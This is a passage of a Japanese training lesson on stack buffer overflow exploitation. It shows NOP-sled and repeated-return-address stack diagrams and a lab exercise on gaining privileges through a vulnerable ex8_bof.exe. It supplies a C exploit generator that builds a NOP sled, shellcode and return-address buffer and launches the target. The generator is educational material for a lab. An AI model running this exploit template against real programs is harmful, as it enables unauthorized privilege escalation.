+-------------------+0001 | NOP | +-------------------+0002 | NOP | +-------------------+0003 | NOP | +-------------------+0004 | NOP | +-------------------+0005 | NOP | +-------------------+0006
+-------------------+0001 | NOP | +-------------------+0002 | NOP | +-------------------+0003 | NOP | +-------------------+0004 | NOP | +-------------------+0005 | NOP | +-------------------+0006 | mov a 10 | +-------------------+000a | mov b 7 | +-------------------+000e
+-------------------+0001 +-------------------+ | | | | +-------------------+0002 +-------------------+ | | | | +-------------------+0003 +-------------------+←-+ | var2 | | payload | | +-------------------+0004 +-------------------+ | | var1 | | RET |---+ +-------------------+0005 → +-------------------+ | | SEIP | | RET |---+ +-------------------+0006 +-------------------+ | | argc | | RET |---+ +-------------------+000a +-------------------+ | | argv | | RET |---+ +-------------------+000e +-------------------+ | | ???? | | RET |---+ +-------------------+000f +-------------------+
上記二つのテクニックを合わせると、かなりの柔軟性が生まれる
fig.8-1:柔軟性を持たせた例
第一回で紹介した挿入ベクター生成プログラムは、NOPスレッドとRETの連発テクニックを駆使している
0 200 300 +-----------+-----------+-----------------------+ | NOP | payload | RET RET RET .... | +-----------+-----------+-----------------------+
/home/SAS_Workspace/ex8_bof.exeプログラムのBOF脆弱性を利用して権限奪取してください。ソースコードは公開されていないプログラムですが、BOFに関する脆弱性が存在することがわかっているものとします。挿入ベクター生成プログラムには次のものを改変して使用することをオススメします。
#include <stdlib.h> char shellcode[]= "ペイロード"; unsigned long sp (void){ __asm__("movl %esp, %eax"); } int main (int argc, char *argv[]){ int i, offset; long esp, ret, *addr_ptr; char *buffer, *ptr; offset = 0; esp = sp(); ret = esp - offset; buffer = malloc(600); ptr = buffer; addr_ptr = (long *)ptr; for (i=0; i<600; i += 4) *(addr_ptr++) = ret; for (i=0; i<200; i++) buffer[i] = '\x90'; ptr = buffer + 200; for (i=0; i<strlen(shellcode); i++) *(ptr++) = shellcode[i]; buffer[600 - 1] = 0; execl("./bo-test.exe", "bo-test.exe", buffer, 0); free(buffer); return 0; }